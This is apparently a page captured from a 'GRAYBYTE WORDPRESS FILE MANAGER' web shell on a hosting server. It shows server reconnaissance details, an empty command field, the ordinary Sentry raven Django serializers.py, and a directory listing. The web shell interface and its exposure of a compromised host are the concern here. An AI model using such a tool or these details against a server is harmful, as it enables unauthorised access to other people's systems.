GRAYBYTE WORDPRESS FILE MANAGER7634

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/alt/python27/lib/python2.7/site-packages/raven/contrib/django/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/alt/python27/lib/python2.7/site-packages/raven/contrib/django//serializers.py
"""
raven.contrib.django.serializers
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2012 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import
from __future__ import unicode_literals

from django.conf import settings
from django.http import HttpRequest
from django.utils.functional import Promise
from raven.utils.serializer import Serializer, register
from raven.utils.compat import text_type

__all__ = ('PromiseSerializer',)


class PromiseSerializer(Serializer):
    types = (Promise,)

    def can(self, value):
        if not super(PromiseSerializer, self).can(value):
            return False

        pre = value.__class__.__name__[1:]
        if not (hasattr(value, '%s__func' % pre) or
                hasattr(value, '%s__unicode_cast' % pre) or
                hasattr(value, '%s__text_cast' % pre)):
            return False

        return True

    def serialize(self, value, **kwargs):
        # EPIC HACK
        # handles lazy model instances (which are proxy values that don't
        # easily give you the actual function)
        pre = value.__class__.__name__[1:]
        if hasattr(value, '%s__func' % pre):
            value = getattr(value, '%s__func' % pre)(
                *getattr(value, '%s__args' % pre),
                **getattr(value, '%s__kw' % pre))
        else:
            return self.recurse(text_type(value))
        return self.recurse(value, **kwargs)


register(PromiseSerializer)


class HttpRequestSerializer(Serializer):
    types = (HttpRequest,)

    def serialize(self, value, **kwargs):
        return '<%s at 0x%s>' % (type(value).__name__, id(value))


register(HttpRequestSerializer)


if getattr(settings, 'DATABASES', None):
    from django.db.models.query import QuerySet

    class QuerySetSerializer(Serializer):
        types = (QuerySet,)

        def serialize(self, value, **kwargs):
            qs_name = type(value).__name__
            if value.model:
                return '<%s: model=%s>' % (qs_name, value.model.__name__)
            return '<%s: (Unbound)>' % (qs_name,)

    register(QuerySetSerializer)

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
March 05 2024 23:48:29
root / linksafe
0755
celery
--
March 05 2024 23:48:29
root / linksafe
0755
management
--
March 05 2024 23:48:29
root / linksafe
0755
middleware
--
March 05 2024 23:48:29
root / linksafe
0755
raven_compat
--
March 05 2024 23:48:29
root / linksafe
0755
templatetags
--
March 05 2024 23:48:29
root / linksafe
0755
__init__.py
0.308 KB
October 29 2017 17:41:19
root / linksafe
0644
__init__.pyc
0.542 KB
October 18 2019 13:53:42
root / linksafe
0644
apps.py
0.301 KB
October 29 2017 17:41:19
root / linksafe
0644
apps.pyc
0.854 KB
October 18 2019 13:53:42
root / linksafe
0644
client.py
10.134 KB
October 29 2017 17:41:19
root / linksafe
0644
client.pyc
10.575 KB
October 18 2019 13:53:42
root / linksafe
0644
handlers.py
1.014 KB
October 29 2017 17:41:19
root / linksafe
0644
handlers.pyc
1.681 KB
October 18 2019 13:53:42
root / linksafe
0644
logging.py
0.455 KB
October 29 2017 17:41:19
root / linksafe
0644
logging.pyc
0.703 KB
October 18 2019 13:53:42
root / linksafe
0644
models.py
9.192 KB
October 29 2017 17:41:19
root / linksafe
0644
models.pyc
16.856 KB
October 18 2019 13:53:42
root / linksafe
0644
resolver.py
2.84 KB
October 29 2017 17:41:19
root / linksafe
0644
resolver.pyc
3.428 KB
October 18 2019 13:53:42
root / linksafe
0644
serializers.py
2.116 KB
October 29 2017 17:41:19
root / linksafe
0644
serializers.pyc
3.161 KB
October 18 2019 13:53:42
root / linksafe
0644
urls.py
0.58 KB
October 29 2017 17:41:19
root / linksafe
0644
urls.pyc
0.815 KB
October 18 2019 13:53:42
root / linksafe
0644
utils.py
3.102 KB
October 29 2017 17:41:19
root / linksafe
0644
utils.pyc
3.057 KB
October 18 2019 13:53:42
root / linksafe
0644
views.py
2.918 KB
October 29 2017 17:41:19
root / linksafe
0644
views.pyc
3.528 KB
October 18 2019 13:53:42
root / linksafe
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF